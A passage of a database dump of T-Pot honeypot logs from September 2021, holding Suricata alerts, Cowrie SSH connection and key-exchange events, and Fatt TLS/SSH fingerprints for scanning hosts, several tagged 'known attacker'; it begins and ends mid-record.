"stream": 0, "dest_ip": "192.168.20.116", "flow_id": 869204619618595, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 33234, "dest_port": 22, "timestamp": "2021-09-20T12:03:35.648283Z", "@timestamp": "2021-09-20T12:03:35.648Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
34741	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:03:36.21414+03	2021-09-20 15:15:02.305143+03	{"_id": "mAYXA3wBvYTbRNuEFFfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:36.214140+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253352559740, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:03:36.214140Z", "@timestamp": "2021-09-20T12:03:36.214Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
34742	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:37.915415+03	2021-09-20 15:15:02.306144+03	{"_id": "mQYXA3wBvYTbRNuEG1d_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:33234 (192.168.176.2:22) [session: f30911e0da49]", "session": "f30911e0da49", "@version": "1", "protocol": "ssh", "src_port": 33234, "dest_port": 22, "timestamp": "2021-09-20T12:03:37.915415Z", "@timestamp": "2021-09-20T12:03:37.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34743	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:43.460898+03	2021-09-20 15:15:02.307144+03	{"_id": "wgYXA3wBvYTbRNuEMlf0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "f30911e0da49", "@version": "1", "duration": 5.542949914932251, "timestamp": "2021-09-20T12:03:43.460898Z", "@timestamp": "2021-09-20T12:03:43.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34744	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:47.585083+03	2021-09-20 15:15:02.309144+03	{"_id": "xQYXA3wBvYTbRNuEP1fL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:47.585083Z", "@timestamp": "2021-09-20T12:03:47.585Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34768	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:03:50.167119+03	2021-09-20 15:15:02.342156+03	{"_id": "-gYXA3wBvYTbRNuETFeP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36020, "timestamp": "2021-09-20T12:03:50.167119", "@timestamp": "2021-09-20T12:03:50.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34745	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.553032+03	2021-09-20 15:15:02.311143+03	{"_id": "zAYXA3wBvYTbRNuEP1fM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:47.553032Z", "@timestamp": "2021-09-20T12:03:47.553Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34746	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:47.586758+03	2021-09-20 15:15:02.312143+03	{"_id": "zQYXA3wBvYTbRNuEP1fM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:47.586758Z", "@timestamp": "2021-09-20T12:03:47.586Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34747	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:03:43.429665+03	2021-09-20 15:15:02.313143+03	{"_id": "wQYXA3wBvYTbRNuEMlf0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f6ee8aa32e0d", "@version": "1", "duration": 2.797090768814087, "timestamp": "2021-09-20T12:03:43.429665Z", "@timestamp": "2021-09-20T12:03:43.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34748	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.553032+03	2021-09-20 15:15:02.315144+03	{"_id": "xgYXA3wBvYTbRNuEP1fL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:47.553032Z", "@timestamp": "2021-09-20T12:03:47.553Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34749	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.593422+03	2021-09-20 15:15:02.316144+03	{"_id": "xwYXA3wBvYTbRNuEP1fL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:47.593422Z", "@timestamp": "2021-09-20T12:03:47.593Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34750	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:47.594389+03	2021-09-20 15:15:02.318144+03	{"_id": "yAYXA3wBvYTbRNuEP1fL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:47.594389Z", "@timestamp": "2021-09-20T12:03:47.594Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34752	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:38.178831+03	2021-09-20 15:15:02.320145+03	{"_id": "mgYXA3wBvYTbRNuEG1d_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f30911e0da49", "@version": "1", "timestamp": "2021-09-20T12:03:38.178831Z", "@timestamp": "2021-09-20T12:03:38.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34753	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:03:47.865083+03	2021-09-20 15:15:02.322143+03	{"_id": "1gYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.865083+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:fff0:9f02", "flow_id": 653492035466043, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T12:03:47.865083Z", "@timestamp": "2021-09-20T12:03:47.865Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
34754	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:03:48.472964+03	2021-09-20 15:15:02.323144+03	{"_id": "1wYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 274590020606371, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36562, "dest_port": 22, "timestamp": "2021-09-20T12:03:48.472964Z", "@timestamp": "2021-09-20T12:03:48.472Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34755	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.8659+03	2021-09-20 15:15:02.325143+03	{"_id": "2gYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.865900+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1053808757257836, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:03:47.865900Z", "@timestamp": "2021-09-20T12:03:47.865Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34756	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:47.866488+03	2021-09-20 15:15:02.326144+03	{"_id": "2wYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 380}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:47.866488Z", "@timestamp": "2021-09-20T12:03:47.866Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
34757	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.307206+03	2021-09-20 15:15:02.327197+03	{"_id": "3AYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 470}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:48.307206Z", "@timestamp": "2021-09-20T12:03:48.307Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34758	1.116.239.130	109.199.241.180	Fatt	2021-09-20 15:03:48.481465+03	2021-09-20 15:15:02.329155+03	{"_id": "3QYXA3wBvYTbRNuERFe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36562, "dest_port": 22, "timestamp": "2021-09-20T12:03:48.481465", "@timestamp": "2021-09-20T12:03:48.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34759	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:03:48.481691+03	2021-09-20 15:15:02.330151+03	{"_id": "3wYXA3wBvYTbRNuERld9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "36090962a7f1", "@version": "1", "timestamp": "2021-09-20T12:03:48.481691Z", "@timestamp": "2021-09-20T12:03:48.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 